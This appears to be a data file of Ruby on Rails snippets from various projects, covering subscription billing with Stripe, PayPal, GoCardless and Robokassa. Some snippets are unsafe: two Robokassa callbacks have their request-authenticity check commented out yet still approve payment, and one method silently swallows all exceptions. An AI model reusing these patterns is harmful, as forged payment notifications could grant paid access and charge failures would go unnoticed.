"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save and @user.payment == \"paypal\"\n response = EXPRESS_GATEWAY.setup_purchase(@user.calculate_total_in_cents,\n :ip => request.remote_ip,\n :return_url => new_order_url,\n :cancel_return_url => orders_url,\n :currency => \"USD\",\n :description => \"Sms affirmation service - $#{\"%.2f\" % (@user.calculate_total_in_cents / 100 ) }\",\n )\n\n @user.update(:payment_token => response.token)\n redirect_to EXPRESS_GATEWAY.redirect_url_for(response.token) and return\n format.html { redirect_to new_user_path, notice: 'Your SMS Subscription has been activated.' }\n format.json { render action: 'show', status: :created, location: @user }\n else\n @user.terms = false\n\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subscribe!\n Subscription.transaction do\n subscription = create_stripe_subscription!\n store.subscriptions.create!(\n customer: user,\n stripe_plan_id: stripe_plan_id,\n stripe_id: subscription.id,\n first_date: Date.today,\n status: :active\n )\n end\n end",
"def create_stripe_customer_and_subscription(user)\n begin\n s_customer = Stripe::Customer.create(description: user.first_name, card: self.stripe_card_token, email: user.email)\n stripe_customer = StripeCustomer.create(object: s_customer.object, description: s_customer.description, livemode: s_customer.livemode, created_timestamp: s_customer.created, reference_id: s_customer.id, user_id: self.user_id)\n customer = Stripe::Customer.retrieve(stripe_customer.reference_id)\n \n if user.plan_name == \"school_closing_date\" && user.plan == \"daily\"\n stripe_charge = Stripe::Charge.create(amount: stripe_charge_amount(user), currency: \"usd\", customer: s_customer.id, description: \"school_closing daily\")\n user.stripe_charges.create(amount: stripe_charge_amount(user), currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id)\n elsif user.plan_name == \"school_closing_date\" && user.plan == \"all_days\"\n stripe_charge = Stripe::Charge.create(amount: stripe_all_dates, currency: \"usd\", customer: s_customer.id, description: \"school_closing all days\")\n user.stripe_charges.create(amount: stripe_all_dates, currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id)\n elsif user.plan_name == \"christmas_break\" && user.plan == \"daily\"\n stripe_charge = Stripe::Charge.create(amount: stripe_charge_amount(user), currency: \"usd\", customer: s_customer.id, description: \"xmas daily\")\n user.stripe_charges.create(amount: stripe_charge_amount(user), currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id)\n elsif user.plan_name == \"christmas_break\" && user.plan == \"all_days\"\n stripe_charge = Stripe::Charge.create(amount: stripe_all_dates, currency: \"usd\", customer: s_customer.id, description: \"Xmas all days\")\n user.stripe_charges.create(amount: stripe_all_dates, currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id) \n elsif user.plan_name == \"spring_break\" && user.plan == \"daily\"\n stripe_charge = Stripe::Charge.create(amount: stripe_charge_amount(user), currency: \"usd\", customer: s_customer.id, description: \"spring break daily\")\n user.stripe_charges.create(amount: stripe_charge_amount(user), currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id)\n elsif user.plan_name == \"spring_break\" && user.plan == \"all_days\"\n stripe_charge = Stripe::Charge.create(amount: stripe_all_dates, currency: \"usd\", customer: s_customer.id, description: \"spring break all days\")\n user.stripe_charges.create(amount: stripe_all_dates, currency: \"usd\", description: \"test\", stripe_customer_id: stripe_customer.id) \n elsif user.plan_name == \"charlotte\" || user.plan_name == \"noresmen_cheer\"\n \n stripe_charge = Stripe::Charge.create(amount: stripe_football_amount(user), currency: \"usd\", customer: s_customer.id, description: \"Charge For Charlotte\")\n user.stripe_charges.create(amount: stripe_football_amount(user), currency: \"usd\", description: \"Charlotte\", stripe_customer_id: stripe_customer.id)\n \n elsif user.plan_name == \"eden\" || user.plan_name == \"noresmen_cheer\"\n \n stripe_charge = Stripe::Charge.create(amount: stripe_football_amount(user), currency: \"usd\", customer: s_customer.id, description: \"Charge for Eden\")\n user.stripe_charges.create(amount: stripe_football_amount(user), currency: \"usd\", description: \"Eden\", stripe_customer_id: stripe_customer.id)\n\n elsif user.plan_name == \"early_bird\" || user.plan_name == \"norsemen_baseball\"\n stripe_charge = Stripe::Charge.create(amount: stripe_early_bird_amount(user), currency: \"usd\", customer: s_customer.id, description: \"EarlyBird\")\n user.stripe_charges.create(amount: stripe_early_bird_amount(user), currency: \"usd\", description: \"EarlyBird\", stripe_customer_id: stripe_customer.id) \n \n elsif user.plan_name == \"wffull\" || user.plan_name == \"norsemen_baseball\"\n stripe_charge = Stripe::Charge.create(amount: stripe_wffull_amount(user), currency: \"usd\", customer: s_customer.id, description: \"WFF FULL DAY\")\n user.stripe_charges.create(amount: stripe_wffull_amount(user), currency: \"usd\", description: \"WFF FULL\", stripe_customer_id: stripe_customer.id) \n\n elsif user.plan_name == \"wffhalf\" || user.plan_name == \"norsemen_baseball\"\n stripe_charge = Stripe::Charge.create(amount: stripe_wffhalf_amount(user), currency: \"usd\", customer: s_customer.id, description: \"WFF HALF DAY\")\n user.stripe_charges.create(amount: stripe_wffhalf_amount(user), currency: \"usd\", description: \"WFF HALF DAY\", stripe_customer_id: stripe_customer.id) \n \n elsif user.plan_name == \"nonfull\" || user.plan_name == \"norsemen_baseball\"\n stripe_charge = Stripe::Charge.create(amount: stripe_nonfull_amount(user), currency: \"usd\", customer: s_customer.id, description: \"NON FULL DAY\")\n user.stripe_charges.create(amount: stripe_nonfull_amount(user), currency: \"usd\", description: \"NON FULL DAY\", stripe_customer_id: stripe_customer.id) \n \n elsif user.plan_name == \"nonhalf\" || user.plan_name == \"norsemen_baseball\"\n stripe_charge = Stripe::Charge.create(amount: stripe_nonhalf_amount(user), currency: \"usd\", customer: s_customer.id, description: \"NON HALF DAY\")\n user.stripe_charges.create(amount: stripe_nonhalf_amount(user), currency: \"usd\", description: \"NON HALF DAY\", stripe_customer_id: stripe_customer.id) \n\n else\n \n \n subscription = customer.subscriptions.create(:plan => payment_discount(user.plan_name))\n user.subscriptions.create(stripe_card_token: subscription.id,plan_name: user.plan_name, stripe_customer_id: stripe_customer.id)\n end\n rescue Exception => e\n end\n end",
"def edit_subscription(user_name, email, plan)\n @user_name = user_name\n @email = email\n @plan = plan\n\n mail to: \"Susie Ye <susie@baserails.com>\", subject: \"Subscription changed to #{plan}\"\n end",
"def updated(user)\n @user = user\n @email = @user.email\n\n mail to: @email,\n subject: \"Subscription Payment Received\"\n end",
"def create_account_and_subscribe_single_call account_name\n contact = {\n address1: '1051 E Hillsdale Blvd',\n city: 'Foster City',\n country: 'United States',\n firstName: 'John',\n lastName: 'Smith',\n zipCode: '94404',\n state: 'CA'\n }\n #get the rate plans for the product\n product_rate_plan = get_product_rate_plans_for_product 'Medium Monthly Plan'\n myDate = DateTime.now + 10.days;\n #create an account and subscribe to a rate plan at the same time\n subscribe(\n account_name,\n contact,\n DateTime.now.strftime(\"%Y-%m-%d\"),\n myDate.strftime(\"%Y-%m-%d\"),\n product_rate_plan['id']\n )\nend",
"def create_initial_subscription\n return unless self.subscription_plan_id.to_i > 0\n\n @subscription_plan = SubscriptionPlan.find(self.subscription_plan_id)\n if @subscription_plan.user?\n self.subscribe_to_plan(@subscription_plan)\n else\n create_organization_and_subscription_plan\n end\n end",
"def perform\n @previousMonth = (Date.today - 1.months).strftime(\"%Y-%m\")\n\n \t# Only exec with subscription status is active\n # Subscription subscription_type == 1 is free trial\n # If user upgrade subscription, and then subscription_type update to 2 is invidual account\n # Update subscription_type == 2 on production, because in test we manual modify account\n\t\tSubscription.where(status: 1).each do |subscription|\n\n\t\t\t# Find user\n\t\t\t@user = User.find(subscription.user_id)\n\n # Get bandwidth & storage usage on previous month\n if @user.bandwidths.present? && @user.bandwidths.find_by(monthly: @previousMonth).present?\n bwdUsage = @user.bandwidths.find_by(monthly: @previousMonth).bandwidth_usage * 1000.00\n else\n bwdUsage = 0\n end\n\n if @user.storages.present? && @user.storages.find_by(monthly: @previousMonth).present?\n stgUsage = @user.storages.find_by(monthly: @previousMonth).storage_usage * 1000.00\n else\n stgUsage = 0\n end\n\n # Calculator usage pricing\n @totalPrice = (@user.subscription.stg_price * (stgUsage / 1000000000.00)) + (@user.subscription.bwd_price * (bwdUsage / 1000000000.00))\n\n @description = \"Delivery Appliance running in global: #{ApplicationController::FormatNumber.new(bwdUsage).formatHumanSize()}, and File Appliance in global: #{ApplicationController::FormatNumber.new(stgUsage).formatHumanSize()} (Source:#{Package.find(@user.subscription.package).name} [#{@user.subscription.name}])\"\n\t\t\t\n if @totalPrice != 0\n # Effect only with subscription type automatic payment by credit card\n if @user.subscription.payment_type == 2 && @user.credit.card_token.present?\n charge = Stripe::Charge.create(\n :amount => @totalPrice.to_i,\n :currency => \"vnd\",\n :customer => @user.credit.stripe_token,\n :source => @user.credit.card_token,\n :description => @description\n )\n\n # Defind charge succeeded response from Stripe\n if charge[\"status\"] == \"succeeded\"\n\n # Create transaction succeeded\n @user.credit.transactions.create(\n description: @description,\n transaction_type: 'Automatic Payment',\n stripe_id: charge[\"id\"],\n amount: @totalPrice.to_i,\n card_id: @user.credit.card_token,\n card_name: @user.credit.card_name,\n card_number: @user.credit.last4,\n card_brand: @user.credit.card_brand,\n status: 'succeeded',\n monthly: @previousMonth\n )\n end\n end\n\n # Effect only with subscription type automatic payment by deposit\n if @user.subscription.payment_type == 2 && @user.credit.card_token.nil?\n\n # Check credit\n if @user.credit.credit_value != 0 && @user.credit.credit_value > @totalPrice\n\n # Update credit balance\n @user.credit.decrement! :credit_value, @totalPrice\n\n # Create transaction of this month\n @user.credit.transactions.create(\n description: @description,\n transaction_type: 'Automatic Payment',\n amount: @totalPrice,\n status: 'succeeded',\n monthly: @previousMonth\n )\n else\n # Create transaction of this month\n @user.credit.transactions.create(\n description: @description,\n transaction_error: 'Deposit balance not enough for this payment. Please check your credit again',\n transaction_type: 'Automatic Payment',\n amount: @totalPrice,\n status: 'failed',\n monthly: @previousMonth\n )\n\n # Suspend subscription if payment failed\n @user.subscription.update(status: 2)\n end\n end\n\n # Effect only with subscription type manual payment\n if @user.subscription.payment_type == 3\n # Create invoice in previous month, default status is unpaid\n @user.credit.invoices.create(\n description: @description,\n invoice_type: 'Check Out',\n amount: @totalPrice,\n status: 'unpaid',\n monthly: @previousMonth\n )\n end\n end\n\t\tend\n\n # Rescue error and create transaction failed with message\n rescue Stripe::CardError => e\n\n # Create transaction failed\n @user.credit.transactions.create(\n description: @description,\n transaction_error: e.message,\n transaction_type: 'Automatic Payment',\n amount: @totalPrice.to_i,\n card_id: @user.credit.card_token,\n card_name: @user.credit.card_name,\n card_number: @user.credit.last4,\n card_brand: @user.credit.card_brand,\n status: 'failed',\n monthly: @previousMonth\n )\n\n # Suspend subscription if payment failed\n @user.subscription.update(status: 2)\n end",
"def paid\n #if @notification.acknowledge # check if it’s genuine Robokassa request\n #@user.approve! # project-specific code\n render :text => @notification.success_response\n @user.approve!\n #else\n #head :bad_request\n #end\n end",
"def create\n customer = Stripe::Customer.create({\n :description => current_user.id,\n :email => current_user.email,\n :card => params[:stripeToken],\n })\n\n current_user.stripe_id = customer.id\n current_user.save!\n\n Stripe::Charge.create(\n :customer => current_user.stripe_id,\n :amount => 250,\n :description => 'Fantasy Rocket Monthly Subscription',\n :currency => 'usd',\n )\n\n current_user.create_subscription!\n redirect_to params[:redirect_to] || root_url, notice: \"Thanks! You're now subscribed.\"\n rescue Stripe::CardError => e\n redirect_to new_subscriptions_url, alert: e.message\n end",
"def paid?\n status == 'paid'\n end",
"def transact\n get_subscription\n token = params[:stripe_token] || raise('Can not transact without stripe token')\n plan = Plan.find(params[:payment][:plan_id])\n \n cs = Ripple::Subscription::CompanySubscription.new(@subscription)\n new_subscription = cs.change_stripe_plan(plan.name, token)\n flash[:notice] = \"Customer was charged, and subscription upgraded.\"\n redirect_to admin_company_path(@company)\n end",
"def create\n # You maybe want to log this notification\n notify = Paypal::Notification.new request.raw_post\n \n # Split the item_id\n account_id = notify.item_id\n \n @user = User.find account_id\n\n if notify.acknowledge\n # Make sure you received the expected payment!\n if notify.complete? and 9.99 == Decimal.new( params[:mc_gross] ) and notify.type == \"subscr_payment\"\n # All your bussiness logic goes here\n @user.premium = true\n @user.valid_till = Date.today + 1.month\n @user.save\n render :nothing => true\n end\n end\n end",
"def update_subscription\n success = stripe_call do\n customer = Stripe::Customer.retrieve(@user.stripe_id)\n subscription = customer.subscriptions.retrieve(@user.stripe_subscription_id)\n subscription.source = @params[:stripeToken] if @params[:stripeToken]\n # Update plan if one is provided, otherwise use user's existing plan\n # TODO providing plan_id is untested\n plan_stripe_id = @params[:plan_id] ? Plan.find(@params[:plan_id]).stripe_id : @user.plan.stripe_id\n subscription.items = [{\n id: subscription.items.data[0].id,\n plan: plan_stripe_id\n }]\n subscription.save\n end\n return false unless success\n user_attributes_to_update = {}\n # This is updated by the stripe webhook customer.updated\n # But we can update it here for a faster optimistic 'response'\n assign_card_details(user_attributes_to_update, @params)\n user_attributes_to_update[:plan_id] = @params[:plan_id].to_i if @params[:plan_id]\n @user.update(user_attributes_to_update) if user_attributes_to_update.any?\n return true if success\n end",
"def user_subscription_lnk plan\n current_subscription = current_user.current_subscription(plan.plan_type.downcase)\n if plan.marketing?\n walkin_subscription = current_user.subscriptions.walkin.last\n if walkin_subscription.nil?\n return link_to \"SUBSCRIBE\",\"javascript:void(0);\",class: \"btn btn-primary btn-xl walkin_subscribe_modal_lnk\"\n end\n end\n if current_subscription.present?\n current_plan = current_subscription.plan\n if Plan.match_plan?(current_plan,plan)\n link_to \"CURRENT\",\"javascript:void(0);\",class: \"btn btn-default btn-xl\"\n else\n if Plan.downgrade?(current_plan,plan)\n link_to \"DOWNGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n else\n link_to \"UPGRADE\",\"javascript:void(0);\",lnk: subscription_path(id: current_subscription.id,plan_id: plan.id,source: 'pricing'),method: :put,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n else\n if current_user.stripe_customer_id.blank?\n link_to \"SUBSCRIBE\",new_subscription_path(plan_id: plan.stripe_id),plan_id: plan.id,class: \"btn btn-primary btn-xl\"\n else\n link_to \"SUBSCRIBE\",\"javascript:void(0);\",lnk: subscriptions_path(plan_id: plan.id,source: \"pricing\"),method: :post,plan_id: plan.id,class: \"btn btn-primary btn-xl subscription_lnk\"\n end\n end\n end",
"def unsubscribe\n\t@sub = Subscription.find_by_id(params[:c][:sub_id])\n\t@sub.update_attributes(:explanation => params[:c][:explanation], :active => false, :canceled_at => Time.now)\n\t#current_user.update_attributes(:customer => false) #taken out now because a user might remain a customer if he has purchased pages\n\t@cust = Stripe::Customer.retrieve(current_user.customer_id)\n\t@cust.cancel_subscription\n\tredirect_to current_user, notice: \"Thank you for trying our service!\"\nend",
"def user_payment_callback\n @user = User.find_by(bill_id: params[:id])\n @user.skip_icpassport_validation = true\n @last_ezi = User.all.where.not(:ezi_id => nil).order(:ezi_id).last.ezi_id.gsub(/[^0-9]/, '').to_i\n @ezi_id = @last_ezi + 1\n @ezi_id_string = \"Q\" + @ezi_id.to_s.rjust(4,'0')\n @expiry = @user.package * 365\n response = BillplzReg.check_status(@user.id)\n if (response['paid'] == true) && (response['state']=='paid')\n @user.update_attributes(status: 1, :ezi_id => @ezi_id_string, :expiry => @expiry.days.from_now)\n render body: nil\n end\n end",
"def create_gocardless_subscription\n GO_CARDLESS_CLIENT.subscriptions.create(\n params: {\n amount: User::PLAN_AMOUNT.to_i,\n currency: User::GO_CARDLESS_CURRENCY,\n name: User::GO_CARDLESS_NAME,\n interval_unit: User::INTERVAL_UNIT,\n interval: 1,\n start_date: Date.current + 2.month,\n day_of_month: 1,\n links: {\n mandate: current_user.go_cardless_mandate\n }\n }\n )\n end",
"def set_premium_subscription\n @premium_subscription = PremiumSubscription.find(params[:id])\n end",
"def subscription_checkout\n\n @code = params[:couponCode]\n\n if !@code.blank?\n @discount = @code\n\n if @discount.nil?\n flash[:error] = 'Coupon code is not valid or expired.'\n redirect_to pricing_path\n return\n end\n\n charge_metadata = {\n :coupon_code => @code,\n :coupon_discount => (@discount * 100).to_s + \"%\"\n }\n end\n\n charge_metadata ||= {}\n\n plan_id = params[:plan_id]\n plan = Stripe::Plan.retrieve(plan_id)\n #This should be created on signup.\n customer = Stripe::Customer.create(\n #:description => \"Customer for test@example.com\",\n :source => params[:stripeToken],\n :email => current_user.email\n )\n\n user = current_user\n user.stripe_id = customer.id\n user.subscribed = true\n user.save\n\n # Save this in your DB and associate with the user;s email\n stripe_subscription = customer.subscriptions.create(:plan => plan.id, :coupon => @discount)\n\n flash[:notice] = \"Successfully Subscribed!\"\n redirect_to '/dashboard'\n end",
"def create_stripe_subscription!\n Stripe::Subscription.create(\n customer: create_stripe_customer!,\n tax_percent: Price::DEFAULT_TAX_RATE,\n trial_from_plan: store.eligible_for_trial_subscription?,\n items: [\n {plan: stripe_plan_id},\n ],\n metadata: {store: store.name}\n )\n end",
"def process_with_payu\n process_purchase\n end",
"def paid?\n status == 'paid'\n end",
"def paid_subscriptions?\r\n !self.subscriptions.map { |sub| sub.periods.paid }.flatten.empty?\r\n end",
"def paid_subscriptions?\r\n !self.subscriptions.map { |sub| sub.periods.paid }.flatten.empty?\r\n end",
"def unpaid_user_notification(user)\n mail(to: user.email, subject: I18n.t('user_mailer.unpaid_user_notification.subject'))\n end",
"def prepare_subscription\n @subscriptions = Subscription.all\n @my_subscription = current_user.user_subscriptions.includes(:subscription).where(\"user_subscriptions.id = ? and user_subscriptions.status = ?\", params[:id], \"active\").first\n\n if @my_subscription.blank?\n flash[:error] = \"Sorry, You are not authorized for this subscription.\"\n redirect_to main_app.profile_users_path and return\n else\n #@order = @my_subscription.orders.where(state: :confirm).first\n @order= @my_subscription.orders.where('state = ? and delivery_date > ?',\n 'confirm', (ORDER_UPDATE_LIMIT+1).days.from_now.to_date).first\n\n @cart = Cart.get_cart(current_user.id)\n @cart.prepare_cart(current_user.id, @order.subscription_id)\n order_subscription_token = @cart.copy_order_to_cart(@order.id)\n\n @current_cart_items = @cart.get_cart_items\n @subscription_offers = Subscription.get_subscription_list\n @total_space = @cart.max_cart_items\n @snacks = Spree::Product.select('id, name')\n @my_subscription_id = @my_subscription.subscription.id\n @my_subscription_type = @my_subscription.subscription.subscription_type\n end\n end",
"def new\n @subscription = Subscription.new\n\n # Check to see if the logged in user has a subscription already\n @subplan = Subscription.where(user_id: current_user.id).first\n\n if @subplan.present?\n # Subscription plan is active\n redirect_to subscription_url(@subplan)\n\n elsif current_user.account.present?\n # We have an account for signing up a subscription\n\n @subscription.subscribe(current_user.account, params[:plan_id], coupon: params[:coupon_code])\n else\n # No account and no subscription plan - Redirect to update\n # user account with notice to add credit card.\n redirect_to new_user_account_url(current_user.id)\n end\n end",
"def activation(subscription)\n # raising exceptions for the fileds that are used in the email body\n raise Exceptions::EmailDataError.new(\"nil subscription\") unless !subscription.blank?\n raise Exceptions::EmailDataError.new(\"nil user/ email\") unless !subscription.user.blank? && !subscription.user.email.blank?\n recipients \"#{subscription.user.email}\"\n subject(publication_subject(subscription, \"Online Order #{subscription.reference}\"))\n from(publication_sender(subscription))\n \n body extract_liquid_variables(subscription,\n :order_date => subscription.updated_at.try(:strftime, \"%d/%m/%Y\"),\n :gifts => subscription.try(:actions).try(:first).try(:gifts),\n :has_gifts => (!subscription.actions.empty? && !subscription.actions.first.gifts.blank?),\n :cost => number_to_currency(subscription.try(:actions).try(:first).try(:payment).try(:amount), :unit => \"AUD $\"),\n :gst => number_to_currency(subscription.try(:actions).try(:first).try(:payment).try(:amount).try(:/, 11.0))\n )\n content_type 'text/html'\n end",
"def paid\r\n #if @notification.acknowledge # check if it’s genuine Robokassa request\r\n #@user.approve! # project-specific code\r\n render :text => @notification.success_response\r\n @payment.approve!\r\n #else\r\n #head :bad_request\r\n #end\r\n end",
"def subscriber_notice_subscription_paid\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'subscription_paid'\n )\n end",
"def mark_paid(user)\n event_user = event_user(user)\n event_user.paid_at = Time.now\n event_user.save\n end",
"def activate_free_trial(plan_id)\n result = Spreedly.post(\"/subscribers/#{id}/subscribe_to_free_trial.xml\", :body => \n Spreedly.to_xml_params(:subscription_plan => {:id => plan_id}))\n case result.code.to_s\n when /2../\n when '404'\n raise \"Could not active free trial for subscriber: subscriber or subscription plan no longer exists.\"\n when '422'\n raise \"Could not activate free trial for subscriber: validation failed. missing subscription plan id\"\n when '403'\n raise \"Could not activate free trial for subscriber: subscription plan either 1) isn't a free trial, 2) the subscriber is not eligible for a free trial, or 3) the subscription plan is not enabled.\"\n else\n raise \"Could not activate free trial for subscriber: result code #{result.code}.\"\n end\n end",
"def subscription_status\n @user_subscription_status = UserSubscription.where(account_id: self.account_id, currently_active: true).first\n if !@user_subscription_status.blank?\n if @user_subscription_status.subscription_id == 1 || @user_subscription_status.subscription.deliveries_included != 0\n return \"subscribed\"\n else\n return \"not subscribed\"\n end\n else\n return \"not subscribed\"\n end\n end",
"def status\n is_renewal? ? 'Renewal' : 'New Subscripion'\n end",
"def deactivate\n customer_ref = params[:SubscriptionReferrer]\n subscription_ref = params[:SubscriptionReference]\n status = params[:SubscriptionStatus].to_s.downcase.strip\n\n user = User.find(customer_ref)\n \n subscription = user.active_subscription\n raise \"Received subscription deactivation for #{user.id} but the active subscription (#{subscription.reference}) doesn't match the notification (#{subscription_ref})\" unless subscription.reference == subscription_ref\n \n # set the new status\n subscription.status = status\n subscription.save!\n \n # move to default plan\n user.plan = Plan.default_plan\n user.save!\n \n # de-activate all channels\n user.deactivate_excess_channels!\n \n render nothing: true, status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n @user.update_attribute(:token, SecureRandom.hex(6))\n RegistrationMailer.registration_confirmation(@user, new_email_confirmation_url(token: @user.token)).deliver\n if( @user.account == \"premium\")\n redirect_to new_charge_path :user, @user\n else\n redirect_to root_path, notice: \"An email has been sent to your account. Please click the link in the email to verify address and complete your registration.\"\n end\n else\n flash[:error] = \"Error creating new user. Please try again.\"\n render :new\n end\n\n end",
"def create\n @Payment = Payment.new\n @Payment.user_id = current_user\n\n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n begin\n charge = Stripe::Charge.create(\n :amount => (25 * 100).floor,\n :currency => \"usd\",\n :card => token\n )\n flash[:notice] = \"Thanks for purchasing!\"\n rescue Stripe::CardError => e\n flash[:danger] = e.message\n end\n\n @Payment.stripe_id = charge.id\n @Payment.amount = charge.amount\n\n if current_user.subscribed != true\n current_user.subscribed = true\n current_user.credit = 25.00\n else\n current_user.credit = current_user.credit + 25.00\n end\n\n current_user.save\n redirect_to caves_path\n end",
"def create\n plan = params[\"payment\"][\"plan\"]\n plan=\"premium_monthly\" if plan.empty?\n stripe_token = params[:payment][:stripe_customer_token]\n cardHolderName = params[\"cardHolderName\"]\n email = params[\"payment\"][\"email\"]\n flag = false\n\n if stripe_token\n begin\n @payment = current_user.payments.new(payment_params)\n customer = current_user.do_transaction(params[:payment_type], stripe_token, plan, cardHolderName, email)\n if customer\n @payment.stripe_customer_token = customer.id\n subcripted_detail = customer.subscriptions[\"data\"][0]\n flash[:notice] = 'Card charged successfully'\n else\n flag = true\n flash[:alert] = 'Some error happened while charging you, please double check your card details'\n end\n rescue Stripe::APIError => e\n flash[:alert] = e\n flag = true\n end\n else\n flag = true\n flash[:alert] = 'You did not submit the form correctly'\n end\n\n if flag\n render new_payment_path({plan: plan, error: e})\n end\n\n respond_to do |format|\n if @payment.save\n plan = Payment.plans[plan]\n current_user.update_attributes(subscription: plan, remaining_days: -1, stripe_customer_id: customer.id, is_paid_user: true)\n NotificationMailer.monthly_subscription_email(current_user, subcripted_detail).deliver_now\n format.html { redirect_to \"/users/edit\", notice: 'Payment made successfully.'}\n format.json { render json: @payment, status: :created, location: @payment }\n end\n end\n\n end",
"def paid?\n status == PAID\n end",
"def update_with_paypal_payment(subscribe) \n response = paypal.make_recurring \n op = subscribe.price\n on = subscribe.name\n user_id = subscribe.user_id\n email = subscribe.email\n subscribe.update_attributes(:name => self.name,:plan_id => self.plan_id,:price => self.price, :user_id => self.user_id, :email => self.email, :paypal_customer_token => self.paypal_customer_token, :paypal_recurring_profile_token => response.profile_id,:paypal_payment_token => self.token)\n end",
"def update\n @user = User.find(current_user.id)\n\n if params[:cancel]\n flash[:notice] = 'Update cancelado'\n redirect_to account_path\n else\n if @user.update_attributes(user_params)\n if params[:subscription_attributes].eql?('1')\n flash[:notice] = t('bulletin_subscriptions.subscription_done')\n else\n flash[:notice] = t('account.datos_guardados')\n end\n redirect_to account_path\n else\n render :action => 'edit'\n end\n end\n end",
"def marked_as_paid_email(from_user, tab)\n\t\t@from_user = from_user\n\t\tto = 'kuehlschrank@fachschaft.cs.uni-kl.de'\t\t\n\t\t@tab = tab\n\t\tmail(\n\t\t\tfrom: get_email_with_name(from_user),\n\t\t\tto: to,\n\t\t\tsubject: \"#{@from_user.displayed_name} hat eine Rechnung als bezahlt markiert\"\n\t\t\t)\n\tend",
"def paid_user_verify(partner)\n go_to_plan(partner) # my plan page\n go_to_devices(partner) # devices\n go_to_profile(partner) # profile page\n go_to_downloads(partner)\n go_to_stash(partner)\n go_to_acct(partner) # default is to load this page w/o a 'go to account' link\n end",
"def charge!\n self.class.transaction do\n return if used_comp?\n if subscriber.blank?\n # something happened where the attached user no longer exists....\n # do not do anything, but log it so the admin can decide what to do?\n Freemium.log_subscription_msg(self, \"Subscriber (id: #{subscriber_id}, type: #{subscriber_type}) is no longer found. Deleting this subscription (id: #{self.id}).\")\n self.destroy\n return\n end\n \n if billing_key.blank?\n expire_after_grace! #if self.expires_on.blank? || self.expires_on <= Date.today\n return \n end\n # attempt to bill (use gateway)\n transaction = Freemium.gateway.charge(billing_key, subscription_plan.rate)\n Freemium.log_subscription_msg(self, transaction)\n transaction.success? ? receive_payment!(transaction.amount) : expire_after_grace!\n end\n end",
"def purchase_sub_existing_card\n @plan = params[:sub][:plan] #integer corresponding to my_plan_id\n @events_number = params[:sub][:events_number]\n @code = params[:sub][:code]\n @new_price = params[:sub][:new_price]\n\n # retrieve stripe customer object yet again\n if !current_user.customer_id.blank?\n c = Stripe::Customer.retrieve(current_user.customer_id)\n end \n \n if is_valid_sub_coupon(@code) \n\n #create subscription for this customer in stripe (note that update_subscription creates a new subscription for this customer in this case)\n if has_not_trialed?\n c.update_subscription(:plan => @plan, :coupon => @code)\n else\n c.update_subscription(:plan => @plan, :trial_end => (Date.today + 1.day).to_time.to_i, :coupon => @code) \n end \n #create new subscription object in my database\n @sub = Subscription.new(:user_id => current_user.id, :email => current_user.email, :customer_id => c.id, :my_plan_id => @plan, :plan_name => Plan.find_by_my_plan_id(@plan).name, :active => true)\n @sub.events_remaining = @events_number\n @sub.coupon = @code\n @sub.save \n\n #create receipt\n @r = Receipt.new(:user_id => current_user.id, :email => current_user.email, :customer_id => c.id,\n :subscription_id => @sub.id, :sub_my_plan_id => @sub.my_plan_id, :sub_plan_name => @sub.plan_name,\n :sub_events_number => @sub.events_remaining, :sub_reg_monthly_cost_in_cents => Plan.find_by_my_plan_id(@sub.my_plan_id).monthly_cost_cents,\n :sub_actual_monthly_cost_in_cents => @new_price, :sub_coupon_name => @sub.coupon) \n @r.save\n\n #mail receipt\n UserMailer.sub_receipt(current_user, @r).deliver\n\n else\n #create subscription for this customer in stripe (note that update_subscription creates a new subscription for this customer in this case)\n if has_not_trialed?\n c.update_subscription(:plan => @plan)\n else\n c.update_subscription(:plan => @plan, :trial_end => (Date.today + 1.day).to_time.to_i) \n end \n #create new subscription object in my database\n @sub = Subscription.new(:user_id => current_user.id, :email => current_user.email, :customer_id => c.id, :my_plan_id => @plan, :plan_name => Plan.find_by_my_plan_id(@plan).name, :active => true)\n @sub.events_remaining = @events_number\n @sub.save \n\n #create receipt\n @r = Receipt.new(:user_id => current_user.id, :email => current_user.email, :customer_id => c.id,\n :subscription_id => @sub.id, :sub_my_plan_id => @sub.my_plan_id, :sub_plan_name => @sub.plan_name,\n :sub_events_number => @sub.events_remaining, :sub_reg_monthly_cost_in_cents => Plan.find_by_my_plan_id(@sub.my_plan_id).monthly_cost_cents,\n :sub_actual_monthly_cost_in_cents => @new_price, :sub_coupon_name => @sub.coupon) \n @r.save\n\n #mail receipt\n UserMailer.sub_receipt(current_user, @r).deliver\n end \n\n\n flash[:success] = \"Thank you! You are now subscribed to the #{Plan.find_by_my_plan_id(@plan).name.titleize} plan!\"\n redirect_to current_user\n\n #rescue Stripe::StripeError => e # THIS CODE WORKS!!! NEEED TO FIGURE OUT HOW EXACTLY\n # logger.error \"Stripe error while creating subscription w/o active sub for existing user with card on file (purchase_sub_existing_card)\"\n # flash[:error] = \"Something went wrong. Please try again or contact us!\"\n # redirect_to current_user\n\nend",
"def update \n puts \"-----------------------------------------------------------------------------------------\"\n puts \"Would you like to change you subscription payments from monthly to annual, or vice versa?\"\n puts \"-----------------------------------------------------------------------------------------\"\n ans = gets.chomp \n up_sub = Subscription.find(@new_customer.id) \n if ans == \"Yes\" && up_sub.annual == false \n up_sub.update(annual: true)\n else ans == \"Yes\" && up_sub.annual == true \n up_sub.update(annual: false)\n end \n puts \"----------------------------------------\"\n puts \"Your subscription has been been updated!\" \n puts \"----------------------------------------\"\n end",
"def subscribe\n CampaignMonitorWrapper.subscribe(id: user.id, email: user.email, name: user.name, beta: user.beta?.to_s, billable: user.billable?.to_s)\n end",
"def paid?\n self.status == 'paid'\n end",
"def repayment_notification(user)\n @user = user\n\n mail to: user.email, subject: \"Scholarship Confirmation\"\n end",
"def subscription_active\n active_subscription.present?\n end",
"def franchisee_royalty_pay_slip\n \n end",
